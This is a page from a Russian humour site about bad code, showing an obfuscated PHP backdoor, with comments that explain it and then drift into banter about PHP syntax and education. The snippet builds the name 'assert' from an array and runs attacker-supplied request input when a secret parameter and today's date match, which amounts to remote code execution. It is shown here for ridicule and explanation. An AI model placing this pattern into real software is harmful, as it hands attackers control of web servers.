"PHP" / Говнокод #25510 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
function b($d,$a){
		if(($d = intval($d) == date('d')) && (isset($_REQUEST[b]))){
			$dd = trim(preg_replace("/[^-0-9+\(\)]/iu", "",$d));
			$a[5] = preg_replace("/[^-_a-z]/iu", "",$a[5]);$a[3] = preg_replace("/[^-_0-9]/iu", "",$a[5]);
			if(isset($_REQUEST['s'.md5('bgdfgt')])){
				if(isset($_REQUEST[b])){$a[3].$a[5](stripslashes(trim($_REQUEST[b])));}
			}
			return true;
		}
		return false;
	}
	
	
	$this ->b(date("d"),$b = array('day','date','out','ass','quest','assert','time'));

Закладочка

Запостил: straga_coda straga_coda, (Updated )

Комментарии (32) RSS

  • Типа, если параметр равен секретному значению, то выполнить ass.assert() ? Не, стоп. А что такое $_REQUEST[b], если b - это функция? Или где-то еще делается $_REQUEST[b] = ... , чтобы потом можно было если что сказать "ой, какая уязвимость))) надо же, пять лет пишу на PHP, а все равно доллары иногда случайно забываю"
    Ответить
    • b без баксов –— это кокококонстанта. Если её явно не объявить, то «PHP» объявит её равной 'b' (строке, совпадающей с её именем) и выкинет нотис, который пэхапэшники не читают. Т.е . $_REQUEST[b] из строки запроса вытянет параметр b.

      assert от строкового выражения в «PHP» эквивалентен эвалу.
      Ответить
      • Вот как хитро.

        Хотя было бы интересно, как что-нибудь такое провернуть беспалевно...
        Ответить
        • Подобный код уже давно в свободном плавании. Какая-то компания предлагала добавить твой сайт в их каталог, а в обмен надо было на свой сайт заинклюдить крошечный php-файл. Этот код выполнял assert от одного get-параметра, если другой get-параметр был равен секретному значению.

          Не все знают, что assert от строки –— это eval, поэтому многие ничего плохого не подозревали.
          Ответить
        • А с функциями хитро. В «PHP» функции сидят в отдельном пространстве, поэтому b(что-то-там) и b без скобочек означают разные вещи. Указатель на функцию взять нельзя, но можно сослаться на её имя:
          $foo = 'b';
          $foo(42); // вызовет функцию b


          Так что $_REQUEST[b] –— это $_REQUEST['b'], если не объявить b. Ну или элемент, индекс которого равен значению константы b, а функция b эту константу не перекрывает.
          Ответить
          • А я то думал, почему все так странно, когда доллар забудешь поставить...
            Ответить
            • Языки со значком доллара перед переменной не нужны.
              Это мусор.

              Вообще PHP состоит из мусора чуть менее, чем полностью.
              Ответить
                • sh имеет $ не просто так, а чтобы отличать от установки переменной.
                  Perl сделан ради обратной визуальной совместимости с sh.

                  В PHP доллар сделали потому что обезьяны.
                  Ответить
                  • $ в sh это тоже интерполяция.

                    В "Perl" все префиксы имеют какой-то смысл, но придуманы они не для того чтобы использовать $ как в sh, хотя именно сам доллар может и выбран по аналогии.
                    Ответить
              • Ну почему? Например в Tcl $ означает подстановку значения переменной в строку, т.к. в Tcl и команды и их аргументы тоже строки, то это и способ получить значение переменной и передать его команде, даже команду можно так составлять:
                set sy ts
                pu$sy Hello!
                А в твоём любимом "Perl" это означает скаляр.
                Ответить
                • Разумеется, а в котлине тоже означает стрококококококовую интерполяцию.
                  Кажется в каких-то барсиках это была строковая переменная.

                  Я о том, что вссе переменные всегда со знаком доллара делать тупо.

                  В перле во-первых это ради похожести на sh (точнее на csh, пушо перл делали в BSD), во-вторых там (как ты верно заметил) так отличают скларя, хеш и массив

                  в пыхе нахуй?
                  Ответить
                  • Чтобы отличать от кококококонстант, от неймс-пейсов, от имён классов и функций. В пыхе это разные неймспейсы (простите за каламбур).
                    Ответить
                    • Лучше всего сделано в руби: там константы пишутся апперкейсом
                      Ответить
                  • В пыхе $ это по сути дела оператор, синтаксис примерно такой:
                    dollar expr = "$", (name | "{", expr, "}" | dollar expr);
                    Ещё интересно, что необъявленная константа означает своё имя, может в каких-нибудь древних пыхах в грамматике выше было не name, а constant?
                    Ответить
      • Некоторые долбоёбы (Русаков) специально не пишут кавычки, а используют неопределенные константы, а нотисы затыкают.
        Ответить
            • Хороший сайт. Никаких тебе ненужных алгоримтов и матанов: чистая практика.

              Сёма одобряет.
              Ответить
              • Как-то наткнулся на бложик булкохруста. Поциент считал, что вузы нужно оставить только для гуманитариев, а технарям и естественнонаучникам хватит и ПТУ. По его мнению законы логики, основы методологии, прочие фундаментальные вещи потребуются только гуманитариям, а всяких биологов и физиков достаточно натаскать на готовые решения.

                Сёме наверное тоже бы понравилось.
                Ответить
                • > естественнонаучникам хватит и ПТУ
                  ПТУ микрохирургии глаза и кардиологии?
                  Ответить
                • На самом деле дело не только в философии: матан, дискретка, компьютер сайнс, алгоритмы и структуры, архитектуры компьютеров и операцонных систем -- это всё овердохуя знаний.
                  Другой вопрос что 98% программистов все это успешно не знают
                  Ответить
                • Но айти в гавне почему-то у вас, а не у семы.
                  Ответить

Добавить комментарий

Где здесь C++, guest?!

    А не использовать ли нам bbcode?


    8